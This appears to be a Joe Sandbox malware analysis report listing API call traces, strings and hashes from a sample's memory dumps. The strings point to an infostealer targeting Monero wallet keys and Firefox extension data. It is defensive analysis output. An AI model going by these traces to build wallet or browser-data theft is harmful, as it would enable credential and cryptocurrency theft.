GetSystemInfo.KERNEL32(?), ref: 6C66C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C66C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C66C9E2

Memory Dump Source

Source File: 00000000.00000002.2392102191.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2392084839.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392162329.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392199947.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2392235915.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction ID: 8beecf542c0bdd91edfb1ad2115f65f53b1c160ab50849b684cb1bda7047f29d
Opcode Fuzzy Hash: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction Fuzzy Hash: 5221C531741A147BDB14AE67CCC4BAE72B9AB86744F50061AF903A7E80DB60780087AE

Function 005F7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F7E37
RtlAllocateHeap.NTDLL(00000000), ref: 005F7E3E
RegOpenKeyExA.KERNEL32(80000002,013FBC50,00000000,00020119,?), ref: 005F7E5E
RegQueryValueExA.KERNEL32(?,0140FDA0,00000000,00000000,000000FF,000000FF), ref: 005F7E7F
RegCloseKey.ADVAPI32(?), ref: 005F7E92

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 69bb466a487a79c2c4870b73f2e0f6210884b0adebbb414764603f7ba7736aad
Instruction ID: dd9728c95cbffb64de7fd453399418b58fe25d836d742395c66804da63aea235
Opcode Fuzzy Hash: 69bb466a487a79c2c4870b73f2e0f6210884b0adebbb414764603f7ba7736aad
Instruction Fuzzy Hash: FD114FB1A44209EBD718CF94DD49F7BBBBCFB08710F10855AF705A7280D77859018BA1

Function 005E12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005E12B4
RtlAllocateHeap.NTDLL(00000000), ref: 005E12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 005E12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 005E12F5
RegCloseKey.ADVAPI32(?), ref: 005E12FF

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: ebcbe25669c64512609e28f717ccf7e39e23797f6e48cff66fa99c4be0b8b25d
Instruction ID: 17e727a9a2e5779b9944122cee01a2d9d28789de388efe4ca51a9f3e65bafbbd
Opcode Fuzzy Hash: ebcbe25669c64512609e28f717ccf7e39e23797f6e48cff66fa99c4be0b8b25d
Instruction Fuzzy Hash: F401CDB9A40208BFDB18DFE4DC49FAEB7B8FF48701F108159FA45A7280D6759A018B55

Function 005EA0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(014091D0,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 005EA0BD
LoadLibraryA.KERNEL32(0140FF40), ref: 005EA146

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA820: lstrlen.KERNEL32(005E4F05,?,?,005E4F05,00600DDE), ref: 005FA82B
Part of subcall function 005FA820: lstrcpy.KERNEL32(00600DDE,00000000), ref: 005FA885

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

SetEnvironmentVariableA.KERNEL32(014091D0,00000000,00000000,?,006012D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00600AFE), ref: 005EA132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 005EA0B2, 005EA0C6, 005EA0DC

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: fa7bebd425fa65e3a5456f7650340e81f29bb395ed66c9c815a83cccc2056168
Instruction ID: b3a24c8275ca232483d0baecb86eb3fefeb778e1dae321422ba5300f4edeab1d
Opcode Fuzzy Hash: fa7bebd425fa65e3a5456f7650340e81f29bb395ed66c9c815a83cccc2056168
Instruction Fuzzy Hash: EA4195B1901105AFCB2CDFA4EC49BAE3BB5FF58301F048028F545A32A1EB359946CB53

Function 005EA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005F8B60: GetSystemTime.KERNEL32(00600E1A,0140B798,006005AE,?,?,005E13F9,?,0000001A,00600E1A,00000000,?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005F8B86

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005EA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 005EA3FF
lstrlen.KERNEL32(00000000), ref: 005EA6BC

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

DeleteFileA.KERNEL32(00000000), ref: 005EA743

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 17d74a244c5d58adb1cf264f535548b55997968b9598c11355b32f8a148d2895
Instruction ID: 0fd558d036bd9417283bf05e3ab3c407e1989c7067693a85ff4b1c03036b599c
Opcode Fuzzy Hash: 17d74a244c5d58adb1cf264f535548b55997968b9598c11355b32f8a148d2895
Instruction Fuzzy Hash: 1DE112B281010D9BCB18EBA4DD99EFE7738BF54340F508169F61A72095EF746A09CB63

Function 005ED780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005F8B60: GetSystemTime.KERNEL32(00600E1A,0140B798,006005AE,?,?,005E13F9,?,0000001A,00600E1A,00000000,?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005F8B86

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005ED801
lstrlen.KERNEL32(00000000), ref: 005ED99F
lstrlen.KERNEL32(00000000), ref: 005ED9B3
DeleteFileA.KERNEL32(00000000), ref: 005EDA32

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 9a917d6b60a1ff989ce3e4524ba563ad32b56e08160d10159848fe7dbee7406a
Instruction ID: 88de6447a50479023ce62abed5d69ffcdb27ea66ce6da42097e0fc1f8d63c56e
Opcode Fuzzy Hash: 9a917d6b60a1ff989ce3e4524ba563ad32b56e08160d10159848fe7dbee7406a
Instruction Fuzzy Hash: 1A8102B181010D9BDB18FBA0DD59DFE7738BF94340F508528F64AA6095EF786A09CB63

Function 005EF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Part of subcall function 005E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005E99EC
Part of subcall function 005E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005E9A11
Part of subcall function 005E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005E9A31
Part of subcall function 005E99C0: ReadFile.KERNEL32(000000FF,?,00000000,005E148F,00000000), ref: 005E9A5A
Part of subcall function 005E99C0: LocalFree.KERNEL32(005E148F), ref: 005E9A90
Part of subcall function 005E99C0: CloseHandle.KERNEL32(000000FF), ref: 005E9A9A

Part of subcall function 005F8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 005F8E52

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01408F80,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00601580,00600D92), ref: 005EF54C
lstrlen.KERNEL32(00000000), ref: 005EF56B

Strings

^userContextId=4294967295, xrefs: 005EF59C
moz-extension+++, xrefs: 005EF5AD

Memory Dump Source

Source File: 00000000.00000002.2364033932.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2363979438.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364033932.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.00000000009C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000ADB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2364554326.0000000000AE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365044535.0000000000AEA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365183916.0000000000C8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2365219582.0000000000C90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: c51ebfcadd610bfb379a4a4517c7c50fe32bf8ad0fe51e9dbc74ef44854889eb
Instruction ID: 4ccbc068b2d2f3124958b6c52cfca592ed84097e0d0bcc452045c6a6e7bee2b7
Opcode Fuzzy Hash: c51ebfcadd610bfb379a4a4517c7c50fe32bf8ad0fe51e9dbc74ef44854889eb
Instruction Fuzzy Hash: 145104B191010E9BDB08FBA0DC5ADFD7B39BF94340F408528F51A67195EE786609CBA3

Function 005E9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005E99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005E99EC
Part of subcall function 005E99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005E9A11
Part of subcall function 005E99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005E9A31
Part of subcall function 005E99C0: ReadFile.KERNEL32(000000FF,?,00000000,005E148F,00000000), ref: 005E9A5A
